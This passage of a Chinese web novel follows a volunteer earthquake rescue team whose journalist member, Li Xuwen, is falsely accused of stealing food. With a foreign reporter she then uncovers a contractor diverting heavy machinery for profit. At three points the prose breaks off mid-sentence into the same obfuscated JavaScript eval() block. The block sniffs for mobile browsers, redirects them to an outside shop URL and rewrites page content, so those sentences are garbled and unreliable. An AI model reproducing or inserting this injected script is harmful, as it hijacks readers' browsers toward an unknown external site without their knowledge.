“就因为我是老队员,才不能看微光变成这个样子。”大梁后槽牙咬得狠:“你们都忘了吧,从非洲回来我们遭了多长时间的白眼,差点连队伍都没了!” 他眼睛一直看着黎叙闻:“我们本来就没剩多少东西,医疗和后勤一天只吃一顿,省下这么点吃的,不能不明不白全丢在外人手里。” 纪士诚还要再骂,却发现那些平时跟大梁走得近的队员,没有一个要出面拦的,甚至露出了赞同的表情。 ……偏偏整个B组这时候都不在,这可不好整了。 空气像是被他们各自的站位不断拉满的弓弦,在不大的仓库帐篷里,崩得简直能听出惶然的嗡鸣。 而首先厉声打破这震颤空气的,竟不是当事人,而是原本总是温润儒雅、笑意盈盈的林青淮。 “罪犯在法庭上尚且有抗辩的余地,”他站在黎叙闻身边,语气凛冽异常:“没有任何证据,就给人扣这种帽子,贵队真是让我大开眼界。” 他到底不是救援队的人,这话相当于直接面质,说得很多人脸上无光,看大梁的目光也多了两分责备。 “对,而且这件事跟闻闻有什么关系?”医疗组长看不下去了:“要指认就拿证据出来。” 大梁脸色稍一凝,又看黎叙闻:“黎记者,你的意思呢?” 黎叙闻铁青着脸开口:“你说GVN不是好东西我没意见,但查理今年才工作,这里是他第一次外勤,你说的那些跟他都没关系。不能因为他是GVN的记者,你就连他的人品都否定。” 人群中不知哪个角落里,响起一道细小的声音:“不是有个词叫近墨者黑吗?” “就是啊……”“那我们总不能等到他转身去说微光坏话,再防他吧?”“对啊那哪儿还来得及……” 嗡煌的议论从轻声低语,到理直气壮的讨论,最后渐渐变成了众人义愤填膺的指责和质问,阿咩焦急的解释、医疗组替闻闻说话的声音被完全淹没在这些议论里,一点都透不出来。 眼看着一场审判在所难免,抽身才是上策,林青淮轻声叫她:“叙闻?要不我们先离开?” 黎叙闻站在暴风眼里,低垂着眼,好像听不见一点声响。 如果这些人就是看她不爽,就是单纯坏、跟她不合,她都不会这么难过。 可这里面每一个人,都因为她的身体状况照顾过她,替她承担了很多责任,甚至这一次他们的初衷,都是要保护微光救援队不被攻击和扭曲。 她刚入队的时候,大梁还很高兴,说我们微光在新闻界也有自己人了,再不用怕别人乱说我们,到时候有闻闻给我们说话,对吧? 到最后,为什么变成这样了。 “行了都他妈闭嘴!”纪士诚怒喝:“屁大的事闹成这样……丢了就丢了,没那东西是不能活还是怎么着?值当对自己人说这么难听的话?” 他指着那些议论纷纷的队员:“没有证据,随意诬陷、诽谤队友,有一个算一个,都给我出去冷静冷静!天黑之前不许回来!” 大梁不忿道:“我不服……” 纪士诚偏头看着他冷笑:“怎么,显着你了?你去给闻闻道歉,她点头了再去!这周夜班都你值!现什么眼在这,救援还做不做了?” 毕竟当了这么多年队长,说话还是有分量,这句话一出,大家高声的声讨变成了零星低声的嘀咕,也没人再反驳。 大梁被训得一哽,低头深吸一次,却没说话。 黎叙闻懒得听道歉,甚至懒得生气,摆了摆手,正准备转身离开,却远远听见一个她无论如何不想在此刻听见的声音。 “黎!你知不知道我用了什么代价才拿到调度单!”查理兴奋异常,离得老远就开始喊她:“你的办法果然有用!” 他兴冲冲地跑进帐篷,都顾不上其他人,一把抓住她肩膀:“调度单拿到了!你说得对,当记者就是不该在乎尊严!” 黎叙闻惊异地盯着他开心到扭曲的脸,脑子里嗡地一声。 纪士诚听不明白,但看其余队员表情各异的脸色,眼前也蓦地出现两个大字。 完了。 大梁眼睛瞪得吓人,抓住他问:“什么代价?五箱营养膏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258911|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的代价吗?” 林青淮爆喝:“大梁!” 查理一把打掉他的手,碍于黎叙闻在场,没立刻发作,只是兴奋劲儿冷了下来,皱着眉问她:“黎,怎么回事?” 黎叙闻疲惫极了,推着他就想往帐外走:“你先回去,等我……” “等一下!”人群中有人出声:“不能让他走!走了就死无对证了!” 立刻就有人拦在查理面前,挡住了他们的去路。 查理再听不懂中文,也感觉到了这滔天的敌意。 他困惑极了,明明出门的时候讲得好好的,是为了他们不再受伤、能多救人,怎么他千辛万苦拿到证据回来,反而变天了? 他还是看黎叙闻:“黎?” 黎叙闻头疼欲裂,对他道:“告诉他们,你去做什么了?” “我问前辈去要Ironpeak的调度单了,”查理眨着眼,老老实实道:“不是你说,有了这个就能证明他们不给我们吊车,是故意的吗?” 黎叙闻点点头:“我们救援队的营养膏,你拿了吗?” 查理一头雾水:“什么营养膏?我没见过啊,我的能量棒都被你骗走了!” “你认同GVN的价值观吗?”黎叙闻疲惫地按了按眉心:“是因为喜欢他们的风格,才去的GVN吗?” “黎,你在说什么,最看不起GVN的,不是我们银石湖吗?”查理脸色彻底冷下来:“也是你说我拿下这个新闻,就有资本去别的地方,你都忘了?” 黎叙闻转头对所有人道:“这就是我的解释。我没有别的要说了。” 大梁脸上的怀疑没有因为这些解释而减淡半分,他操着很流利的英文,问:“我有话直说,不绕弯子。我们救援队的资源早就紧张到极限,今天突然发现最关键的一批食品没了,还是给前线准备的。你刚从外面回来,手里又拿着所谓的‘证据’——我们只能问:是不是有人用那些物资做筹码,换来了线索?” 查理努力地理解了很久,震惊又屈辱,大声道:“我没有!” “那其他人呢?有为你提供便利吗?”大梁又问:“有没有人为了你手里的证据,用营养膏去换?” 这问题一问出来,连很多原本站在他这边的人都听不下去了:“大梁,行了……” 查理睁大双眼,声音又高半个八度:“她提供什么便利?要把我赶走的便利吗?” 他看了一圈面色各异的队员,最后又转过头看黎叙闻。 好意和努力被曲解成这个样子,她却没有任何愤怒或是委屈,只是素净着一张脸,面沉似水,一言不发。 查理盯着她看了几秒,忽然明白了。 以她的性格,不可能忍气吞声,肯定是所有解释都已经拿出来了,但仍不足以服众,才会是这副毁誉由人的样子。 出于对同行的同情也好,出于对朋友的维护也罢,查理忽然出离愤怒了。 他一把拉过背上的背包,拉开拉链倒过来,背包里所有东西叮呤当啷,全部落了出来。 里面有两瓶水,两条能量棒,一盒维生素,再就是他的装备,也不管经不经摔,全部扔在开裂的水泥地上。 “好人!”他指着黎叙闻大喊:“好人!” 这是他会的仅有的三句中文之一:你好,谢谢,好人。 这一句蹩脚的中文,比长篇大论的抗辩还振聋发聩。 整个营帐落针可闻。 之前众人的质问还在耳边盘桓,发出质问的人却低下了头,连大梁也眉心很快地跳了一下。 他盯着地上的东西,深深地咽了咽,却撇开脸,没说话。 医疗组长深叹一声:“你这嘴……打算怎么收场?” 纪士诚头大着上来,一边跟查理说Sorry,一边对黎叙闻道:“闻闻,你……” 黎叙闻忽然蹲下.身,把散了一地的东西全部囫囵塞进查理的背包里,不顾众人讶异的目光,拉起查理转身就走。 午后日光正是煊赫,她几步从营帐里走出去,忽然一阵眩晕,脚下蓦地一顿。 查理被她空茫的表情吓到,轻声问:“黎,你还好吗?” 黎叙闻目光空洞地停在原地,很遥远的地方传来极微弱的马达声,那是某支救援队伍,在拼尽全力救人。 身后无数道目光沉默地粘在她身后,在这种笃笃的声音里,越发显得如芒在背。 如果她现在带着查理进了他的帐篷,那便是坐实了那些传闻。 不能走,她想,我不在微光了无所谓,可齐寻还要做人。 “坐吧。”她说。 “啊?”查理看了看脚下的水泥地,又回头看了看帐内欲言又止的队员们,疑惑道:“坐这?” “嗯,就坐在我们大本营的门口。”说着她便盘腿席地而坐,仰起头看着茫然的查理:“竟然拿到了调度单?做得好。准备好往下深挖,让Ironpeak下地狱了吗?” 110. 第 110 章 查理站在原地,自上而下地看着这个坐在自己影子里的女人。 她又端出那副前辈的样子来教育他,以为这样就能把伤心难过掩饰住,然而演技实在差,说着夸他的话,却连嘴角都提不上来。 越看越烦躁。 他骂了一句FXXK,也就地坐下:“什么调度单,没有。” 黎叙闻皱眉:“刚因为你一句话,我挨了那么大一顿骂,现在跟我说没有?” “是我骂的你?”查理现在完全不怕她了:“我要是你,我就不干了。” 黎叙闻嗤笑:“别开玩笑了,宁愿进GVN都不愿意放弃当记者,你骗谁?” “……我恨你。”查理学着她的样子翻了个白眼:“我要知道当记者这么难,当初我就进法学院了。” “那没辙,你是记者,有时候真相就是要踩着你来到世上。你接受不了,就只有回家继承农场。”她冲查理摊开手:“调度单。” 查理彻底无语,盯了她半天,吵不过也打不过,最后只好乖乖地拿出手机,把前辈发来的照片给她看。 调度单简直是安抚神器,他拿出来的那一秒,黎叙闻眼睛立刻亮了,什么难过悲伤,瞬间全部抛到了脑后。 “嚯,高清版。”她两指放大照片,一点一点看:“为什么你手机有信号?” 查理“啊?”了声,好像不明白她为何有此一问,想了想才从包里拿出一个一尺见宽的方形盒子:“卫星盒子啊,你们没有吗?” 黎叙闻:“……” GVN烂归烂,但是真有钱啊!她什么时候吃过这么好的! 眼看着她眼冒精光,查理立刻把盒子塞回包里:“你别想!这是台里的,赔一个我会破产!” 黎叙闻将羡慕的目光收回来,重新投到照片上:“嘁,谁稀罕。” 调度单有许多张,每一张对应不同的时间地点,他们拿了纸笔,在大太阳下一张一张对信息。 当两杯咖啡轻轻放到他们面前时,核对工作正好到了尾声。 林青淮也坐在黎叙闻身边,用英文说:“翻箱倒柜找了两包,耽误了些时间,抱歉。” 黎叙闻一言不发地看他,眼睛里带着一点笑意。 之前两人吵了一架,后来她回想起来,也觉得自己在迁怒,多少有点理亏,可话说得太狠,道歉的事偏偏她又做不来。 想想也对,人都有自己的立场和三观,跟她不同那太正常了。 毕竟不能要求每个人都是齐寻。 林青淮当她意有所指,便跟她悄声说:“我自己的存货,不是救援队的东西,这也要充公吗?” 黎叙闻拿起纸杯抿了一口:“震区也是神奇,速溶咖啡都眉清目秀起来了。” “纪队怕你不想看到救援队的人,特意让我跟你说,你跟查理可以去指挥部工作。”林青淮道:“外面晒,回去吧。” 他抿了抿唇:“我看他们也都有点后悔了。” 黎叙闻笑起来:“行啊,那就让他们多后悔一会儿。” 林青淮也跟着她笑,又恢复了那副月朗风清的模样,问:“伤心了吗?你要是想离开……” “不用,”黎叙闻打断他:“逃避不是办法,他们到底是我队友,我会解决好的。” 林青淮看着她轻描淡写的神情,很想问一句,到底是你不想逃避,还是为了齐寻? 可细想她盛怒之下都没有进查理的帐篷,他又觉得不用问了。 “好,”他点点头:“总之,有需要的话。” 他们两个叽叽咕咕半天,查理一句也听不懂,但看两人的神情,也知道他们关系不一般。 他鼻观口口观心,在心里为Mr.Found捏了把汗。 ……老婆还是不能找太漂亮的。 “走吧,”黎叙闻站起来,拍拍身上的土:“找纪队长打秋风去。” …… 调查有时候就像拼拼图,线索四下散落时混不起眼,直到最后一块拼图拼上,才知道到底发生了什么。 “所以EX-017是重型吊车,EX-032是挖掘机,EX-045是起重机?”黎叙闻在纸上写写画画:“咱们的那张单子呢?” “塔拉维……塔拉维……”查理嘟嘟囔囔从头翻到尾,咦了声,又从尾翻到头:“没有。” 黎叙闻不信,拿过来又自己翻了一遍。 真没有。 她恍然:“会不会是从一开始就没派过来……” 查理秒懂,点点头接上下半句:“所以根本就没生成调度单。” “总指挥部给的资源清单上,塔拉维有两辆挖掘机,三辆重型吊车,”黎叙闻也拿出她拍的照片,上面清楚明白:“限震后48小时内到达。” 结果不是因为路不通进不来,而是根本就没有出发。 “但工程队明明看见了,”查理说:“他们看见有辆吊车在这停了半小时,然后开走了。” 黎叙闻点点头:“再找,找其他单子上的‘塔拉维’这个词。” 真让他们找到四张,两张挖掘机两张吊车,备注都是“塔拉维方向”,但走到中途,无一例外都调回了首都图兰。 加上这四辆,图兰的重型机械达到了惊人的27辆,远远多于计划中的12辆。 ……原来这就是之前查理的前辈说的,中心区到处都是挖掘机,有本事就来开。 “找到了,”查理把其中一张调度单举到黎叙闻面前:“这个!” 这张清单显示,其中有一辆重型吊车,中途被调回时出了岔子,直直开来了塔拉维,在门口停了半小时,接到总部的电话,又回去了。 加上之前备注“塔维拉方向”的四辆,资源清单上的五辆机械就齐了。 那个备注应该也是用来免责的,因为它们的目的地一栏,无一例外都写着“图兰”。 黎叙闻已经彻底失语了。 “这一定有原因吧,”查理表情前所未有的凝重:“他们一定是为了什么。” 黎叙闻沉吟道:“看数量,没吊车的地方肯定远不止塔拉维,只是所有偏远地带都无法通讯,用道路条件做幌子,能骗过大部分人,一时半会儿也爆不出来。他们好像……”她无意识地咬着下唇:“好像在掩饰什么。” 想着想着,她慢慢地转过头,盯着查理瞧。 查理顿时寒毛直竖。 又是这种眼神!又是这种看到肥羊的眼神! “我记得A国有一样好东西,咱们上学的时候都用过,”黎叙闻笑得非常温柔:“你还记得吗?那是什么?” 查理呵呵笑了声,挠挠头:“不知道呢。” 黎叙闻放大笑容:“真不知道?” 他怎么可能不知道。 黎叙闻说的,是一个叫PACER的数据库,可以查询A国所有公共法庭记录,当年银石湖新闻传媒学院就订阅了PACER,免费对所有学生开放。 毕了业当然就没这种待遇,想查可以,让公司订阅,然后自己出钱下载。 “Ironpeak的庭审案件少说有几千页!每页一毛钱!”查理大叫道:“我大学贷款都还没还完!” 黎叙闻嫣然一笑,凑近了悄声道:“你见过我老公,他有钱,特别有钱,你帮我下庭审记录,我让他还你。” 查理回想了下,觉得Mr.Found倒很靠谱,应该不会赖账。 ……可他怎么就娶了这么个女人! 查理苦着脸登录了PACER,眼睁睁看黎叙闻刷刷刷下载,心都在滴血。 “好了,”黎叙闻心满意足把笔电屏幕往他那边一转:“付钱吧。” 查理下了半天决心,定睛一看,9刀。 血腥玛丽这是良心发现了? 但他来不及问,立刻付了钱,生怕她反悔再往上加码似的。 早在当初军官来借粮,齐寻对她提到Ironpeak的名字的时候,就有一线细细的熟悉感,闪进过黎叙闻的脑海。 而这份熟悉感,在今天看完调度单之后,再次对她响起了警报。 念书的时候她做课外阅读,看过一个案例,讲的是某次飓风后,灾民集体起诉了一家外包公司,理由是这家公司无故拖延物资,造成了后续非常大的损失。 但那个案子因为证据不足,最后外包公司被判了无罪,期间各种反响平平,没什么新闻价值,她也就是掠过一眼,没有深究。 今天她终于想起来,当时那家公司,就是Ironpeak。 她下载的三份记录,上面详细记载了当时集体诉讼的主张:Ironpeak以道路不通为由,将物资全部迅速集中于灾区中心,利用公众和媒体注意力的集中效应,博得了国际社会的交口称赞,而通讯不畅的偏远地区,就只能望眼欲穿地等,直到灾情不再引起各方关注。 但除了这个骇人听闻的说辞,灾民提供的证据极其有限,甚至有一些关键信息,被地方政府刻意阻拦,最后的败诉也是意料之中了。 如果仅仅是这样一份记录,黎叙闻不会觉得其中有什么猫腻,道路不通很正常,车都开不进,挖掘机怎么进呢? 可相同的桥段此时此刻,又被完整地复刻了一遍,就绝不可能是巧合。 查理也没闲着,他在社交平台上搜索了所有飓风发生后当地的消息,惊奇地发现,有一些微妙的涟漪,被淹没在了当时对Ironpeak赞美的海洋里。 有个账号从飓风发生后一周起,一直坚持指控Ironpeak,说他们拖延大型机械进场的时间,以此为筹码,要挟当地政府高价购买后续服务,还开出了独占灾后重建项目的条件。 可惜这账号势单力薄,没能掀起任何水花,在飓风发生的两个月后,终于偃旗息鼓了。 “后续呢?”黎叙闻问他。 “什么后续?” “你不知道跟踪报道是什么意思?”黎叙闻唇角平直:“你绩点多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263446|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 查理心说我要绩点高我还能进GVN?手上却不敢怠慢,继续搜索Ironpeak的相关新闻。 这一搜,最后一块拼图才终于掉到了他的面前。 “你看,”他声音都冷沉了:“飓风后的第三个月,Ironpeak和当地政府签署了灾后重建合作备忘。”他顺着相关链接往下滑:“这个消息一出,Ironpeak股价涨了近20%。” 世人都只关注灾难,没人知道,灾后重建也是块很大的蛋糕。 以Ironpeak的体量,股价上涨20%,就是市值膨胀了几十亿。 这就是那些未曾得到救助的人命的价格。 黎叙闻和查理盯着屏幕,沉默了很长时间。 风吹起的沙粒扫在帐外的防水布上,沙沙作响,声音落在这片沉默上头,更显得厚重。 过了很久,查理才轻声问:“现在呢,现在怎么办?” 黎叙闻仍盯着屏幕,没转头看他:“……你怎么想?” “黎,光是这点东西,我们没办法报道,”查理望着她闪烁不定的眼神:“这你知道,对吧?” 黎叙闻闭了闭眼睛。 采访调查需要时间,她当然知道,可现在最缺的就是时间。 黄金72小时早已过去,如果废墟下面还有幸存者,那现在的每分每秒,熬的都是他们的命。 她的队友们在物资匮乏和无力救援的夹击下苦苦支撑,她的爱人承担着过往的阴影和人命的重量,不得脱身。 她一个人留守在这里,连队友间的友谊和信任都搭上了,难道现在要放弃? 但现在的条件和资源,也是真的山穷水尽了。 她拧着眉头,穷尽所有的思路、方法、案例,无数想法在一瞬间炸开,闪过又破灭,坍塌又重建,留下一层厚重的、朦胧的烟尘。 世界上没有真正的绝境,她想,如果有,那就是代价付得不够。 “代价”两个字像一颗闪光弹亮在她的脑海,朦胧烟尘骤然散去。 她眉头蓦地一松,继而缓缓转过头,看着她面前这个年轻稚嫩的记者。 查理眉头不解地扬得老高,正正对上她的眼睛。 那双眸子亮得吓人。 认识她之后,这女人整日要么凝神思索,要么脾气很差地骂他,而这一眼却极深,像洞穿了他五脏六腑似的。 查理对着她愣了半晌,某一瞬间,在她极有分量的眼神里,竟读懂了她疯狂的设想。 他倏而瞪大了眼睛! “黎,你在跟我开玩笑,”他摇着头,露出一种他们相识以来从没有过的严肃:“我们是朋友,你不可以这么对我。” 黎叙闻眉底低低地压住眼:“我跟你承诺过,它会让你功成名就。” “这不是功成名就!”查理涨红了脸,愤怒地嘶吼:“这是自杀!” 这一声称得上凄厉,划破大本营压抑的宁静,有路过的队员听见这声,都停下脚步,好奇地往里瞧。 黎叙闻表情沉静如水,慢慢道:“GVN的风格我们心知肚明,只求噱头不求证据,它连新闻信任度都可以不要,你还在替它穿什么遮羞布?这不就是它最大的用处?” “你是在指使我赌上自己的职业生涯,把这些零星的线索和我们的猜测报给我的编辑!”查理声音泛哑:“你有没有想过我会面对什么?会有什么后果?做这种事,别说GVN了,可能以后没有电视台会要我,我再也做不了记者了!” “我没有在指使你,查理,我是在给你选择。”黎叙闻微微侧着脸,听完他歇斯底里的指责,唇角上勾,竟缓缓笑了:“一边是在臭名昭著的平台低三下四,外采都受尽当事人白眼;一边是爆出所有人喜闻乐见的大公司丑闻,一夜成名,只需要你承担一点小小的……” 她拇指和食指比了一个极短的距离:“小小的风险。” 黎叙闻自己都不知道,此时此刻她的眼底,正流窜着恣行无忌的疯狂。 查理惶恐地望着她,身体不由后缩,她一把抓住查理的肩膀,盯住他的眼睛:“你不用说这些是我告诉你的,你跟GVN讲,这是你自己发现的。‘Ironpeak为谋利,遗弃数万灾民性命’,还哪有比这更吸引人的噱头?——那些埋在地底下的人在看着你呢,你感觉到了吗?” 她明艳四射的一张脸,在日头照不到的阴影里,竟显得鬼气森森:“他们在叫你的名字,你听见了吗?” 查理眦目欲裂,大叫一声,一巴掌打掉她的手,抢过自己的笔电,拔腿跑出了指挥部的帐篷,留给黎叙闻一个跌跌撞撞、慌不择路的背影。 端着水杯进来的纪士诚险些被他迎面撞上,皱着眉头盯着他逃窜,转头问黎叙闻:“他咋了?见到鬼了?” 黎叙闻脱力地坐在折叠凳里,风穿过帐口,拨乱她的长发。 她抬手理了理碎发,平静道:“是啊,大概见到了很多死不瞑目的冤魂吧。” 111. 第 111 章 吓跑了查理,总在指挥部待着也不是办法,黎叙闻稍整理了下心情,还是起身回了医疗区。 那里还有伤员在等着她照顾。 原本做好了大家都避着她走的准备,谁知一踏进帐篷,医疗组长先抬头看她,皱眉道:“跑哪里去了?快过来,这病人之前用的什么药,哪天送来的?档案呢?” 组长旁边的队员大大松了口气:“闻姐你再不来我要被组长骂死了!” 其余队员脸上也看不出丝毫龃龉,都笑着打趣:“组长,闻闻来了,你就放过我们吧,档案都是她做的,离了她可不行。” 黎叙闻低头浅笑,小跑过去,接下组长手里的活,也接下了队友们这份沉甸甸的人情。 满以为回到这里,她面对的仍会是冷眼和沉默,却没想到她坠落之后,又被一张网温柔地接住。 “今天好点了吗?”她轻声问伤员:“还有哪里疼?” 伤员一一答了,她低头给伤口换药,换着换着,喉头的酸涩就越来越浓,眼眶也热热地烧起来。 她吸鼻子的声音,被组长一句带着笑意的话盖了过去:“哟,门口是谁啊?我们这里不是伤员可不能进的哦。” 帐口出刚刚露出的一弯眉毛,被这句话捉住,又缩回去了。 投在地上的影子怯生生的,黎叙闻见了,忍俊不禁:“好了阿咩,进来吧。” 阿咩两只手揣在衣袋里,头垂得低低的,磨磨蹭蹭到黎叙闻跟前:“闻姐……” 黎叙闻逗她:“是哪里受伤了?肚肚露出来我看看。” 阿咩还是不抬头,从口袋里抓出一大把折成小方块的字条来,放在她面前。 黎叙闻不明其意,狐疑着拣了一颗展开来看。 “都是我们不好,你别生气也别走行吗?” 她噗嗤一声笑出来,余光往帐口一扫,一堆黑黢黢的影子挤在一起,安静地听着里面的动静,连大气都不敢出。 这小把戏,上次收到还是六年级。 她又挑了个打开——“闻姐闻姐,我们都喜欢你,我们已经帮你骂大梁了,明天也不给他饭吃!” “闻闻对不起,我们一起把大梁打一顿吧,好不好。” 她笑得不行,又不敢出声,嘴唇都咬疼了,故意冲着门口大声道:“哎呀,中午连饭都没吃,生了顿大气,更饿了。” 门口的影子一阵窸窣涌动,夹杂着一阵低声的“快快快”“挑个红烧牛肉的”“水呢热水呢?” 就这样跑了。 不出十分钟,一包热气腾腾的泡面就毕恭毕敬地端到了她的面前。 泡面的香气勾得整个医疗区的人都往这里看,来送泡面的是个年轻小伙子,脖子上青筋都爆出来了,低着头,嗖一下又没影了。 组长在旁边笑:“好不容易有使唤行动组的机会,吃个泡面就满足了?” 黎叙闻低头深深吸了口久违的泡面味:“开玩笑,千金难换。” 大家哈哈笑着散了,一直在一旁沉默的阿咩此时却突然轻轻叫了声:“闻姐。” “嗯?”黎叙闻笑着看她:“你也想来一口?” 阿咩头垂得很低,摇摇头,悄声说:“那些营养膏,是我弄丢的。” 黎叙闻脸色一变,立刻看向周围,见没人注意她们,才扔了手上的叉子,把她拉到角落:“怎么回事?你知道营养膏的下落?” “不,我不知道!”阿咩急道:“这几天晚上都是我在值班,但、但是……” 黎叙闻看了眼旁边,低声问:“但是什么?” “每天凌晨三四点那会儿,我都会偷偷用卫星电话给我……”她嗫嚅了下,才说:“给我未婚夫打电话。” 黎叙闻眉头一挑,明白了前因后果。 卫星电话是供全队紧急联系用的,队员不紧急的私事一般不可借用,这是救援队的纪律。 阿咩因为婚礼的事跟家里闹翻了,又实在想念未婚夫,只好趁夜深人静时拿到卫星电话,偷偷跑到外面去打。 估计就是连着踩了几天的点,让有心人知道这是个可乘之机,于是趁她出去打电话的几分钟,把营养膏搬走了。 黎叙闻严肃道:“这件事你还告诉谁了?” “没、没谁……”阿咩抽噎了两下,忽然哭了:“闻姐对不起,刚刚,刚刚他们骂你的时候,我没敢站出来说……” 黎叙闻拉了她一把:“你傻啊,就算你说了,也没办法证明不是我跟查理拿的,搞不好还会被说成是我们俩的同伙。” 阿咩泪眼婆娑地看她:“那、那我,我要不要……” “不要,你什么都不要做,”黎叙闻语气严肃:“现在真相未明,有的人嘴上不说,心里还吊着口气,你跳出来,除了让事情更复杂之外,没有任何用,明白吗?” 阿咩嘴角下捺着看了她两秒,哭得更凶了:“可是他们那样说你!” “行了,这都小场面。”黎叙闻问她:“你未婚夫呢?他怎么说了?” 阿咩擦了一把眼泪,咬着嘴唇说:“……他没接我电话。” 黎叙闻:“……” 这种时候应该怎么劝,她实在是不得要领,绞尽脑汁想了半天,憋出一句:“要不……要不换个男人呢?” 阿咩睫毛上还挂着眼泪:“啊?” 黎叙闻越说越觉得有戏:“我们报社也有几个青年才俊,样貌堂堂,到时候我给你拉个群,你挑个自己喜欢的?” 阿咩愣愣地眨了好半天眼睛,噗嗤一声笑了。 “有多好?”她破涕为笑:“有我们副队好吗?” 黎叙闻嘴比脑子快:“那没有,哪儿有比他好的男人啊。” …… 傍晚时天边起了浓沉的云,第一颗星星在渐深的蓝色穹幕上闪了一瞬,便被流云吞没了。 指挥部门口的风灯一摇三摆,帐门框着两个队长一坐一站,跟幅画似的,谁也不动。 里面忽然咚地一声,门口草丛里正觅食的小松鼠被吓得一怔,拖着尾巴逃了。 “轻点!”纪士诚心疼地把卫星电话抱在怀里:“摔坏了你赔?” 齐寻脸色异乎寻常地难看,抱臂靠在防雨布上:“他人呢?” “你要干什么?”纪士诚头疼起来:“你是副队长,难道要跟队员动手不成?” 齐寻冷笑:“你忘了,我早不是副队长了。” 纪士诚后仰在折叠椅里,张着手揉太阳穴,半晌之后长叹了声,实在没招了。 大梁这事做得太绝,当众指责闻闻伙同外籍记者盗窃物资,这搁谁能忍? 也就是看着白蛇的面子,不然就闻闻的性格,微光现在已经上热搜了。 她可以为了齐寻忍,可齐寻绝不会就这么算了。 “要不这样,我把他叫来,你跟他说,但不能动手,不能出指挥部的帐子,今天的事今天完,”纪士诚妥协道:“我看着你们,行吗?” ……他就不该信齐寻压着盛怒的点头应允。 大梁前脚刚进指挥部,纪士诚连门帘都没来得及放,只听一声闷响,紧接着便是身体沉重落地的声音。 ——大梁刚站定,一句话还没出口,齐寻直接当胸一脚,狠狠将他踹翻在地。 桌上雪亮刺眼的应急灯一下子被掀翻,金属外壳敲在地上,灯光跟着弧形外壳,在地上不住地晃。 大梁喉头一阵腥甜,倒了气似地,一呼吸整个胸腔都火辣辣地作痛,后背蹭在纪士诚的防潮垫的铜环上,硌得他眼前发花。 齐寻居高临下地看他:“起来。” 地上的人坐在天翻地覆的灯光里,咳个不停,脸上却清清楚楚地写着“不服”。 “白蛇!”纪士诚三两步挡在他面前,按住他肩膀:“你想干什么?你怎么答应我的?” “答应你的是我,还是你的副队长?”齐寻一把甩开他,忽然笑了:“老纪,你搞错了。” 纪士诚一愣:“你什么意思?” 大梁咬着牙起来,拨开纪士诚,站在齐寻面前:“于私,是我对不起黎记者,我不该没有证据就冤枉人。但于公,我问心无愧。你们借了一半粮出去,大家快没东西吃了,也是事实。” “于公?”齐寻冷笑:“你也配说于公?” “她在龙腾闹出那么大动静,我都没说什么,我跟她能有什么私怨?”大梁后槽牙紧咬:“而且那些营养膏到现在都没找到,饿着肚子,哪还顾得了这些?” 齐寻神色沉冷地盯了他一阵,撇开眼嗤笑了声,根本没打算接他的茬。 帐外队员们行走熙攘的动静不知什么时候停了,整个营地都安静得不正常,好像都在静默地等一声爆发。 纪士诚看着惨淡灯光里对峙的两人,眉头简直要拧出血。 民间救援队原本就没有太多约束和利益牵扯,大家都是为救人的信仰聚在一起。 现在闹到这个地步,快要无法收场了。 他正头疼,一句硬着头皮的话还卡在喉咙里,一阵厚重的汽车引擎声却自东侧传来。 营地的静默被这一声打破,嗡声碎语盖在这串响动里,最后被几声又重又急的、拍打帐面的声音收束。 纪士诚不耐地吼:“谁啊?” 外面竟是一个库萨本地人,操着英文:“物资!吃的!谁买的?出来拿。” 纪士诚一脸懵地看向齐寻:“吃的?” 齐寻看了大梁一眼,大步迈到门口,一把掀开门帘。 一辆小皮卡,突突突地停在指挥帐前,后斗装着满满当当的补给,一箱一箱码得齐整,甚至还有两箱伏特加。 队里左支右绌这么些天,大家心里早焦虑得团团转,这时候看见这么一车东西停在门口,所有人的目光都不约而同粘在了上面,激动溢于言表。 包括听到了风声,一直在指挥帐外徘徊的黎叙闻。 有队员按捺不住,探头探脑了一阵,上来问:“白蛇,这是给咱们的吗?你搞来的?” 齐寻接过司机的垫板,一言不发地签了单。 大梁站在齐寻身后,默不作声地看着皮卡上面熟悉的包装。 他为了几盒营养膏为难闻闻,白蛇直接搬回了两大箱。 “快点,”司机不耐烦:“我要下班了。” 齐寻沉默着跟他错身而过,挽起袖子准备自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269454|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己卸东西,手腕却忽然被人拉住。 大梁半低着头,眼睛盯着货车轮胎,用所有人都能听见的声音说:“是我错了,这一车我来卸,跟后勤归档之后,该道歉的我再解决。” 齐寻静默地听完,不动声色地抬起眼,与黎叙闻隔着人群遥遥一望,见她微微点头,才收回手,后撤一步,把地方让给了大梁。 众目睽睽之下,大梁挡下了所有上前要帮他的人,一点点把车上所有的东西卸下来,然后一趟接一趟,在所有人的注视中,送回仓库里。 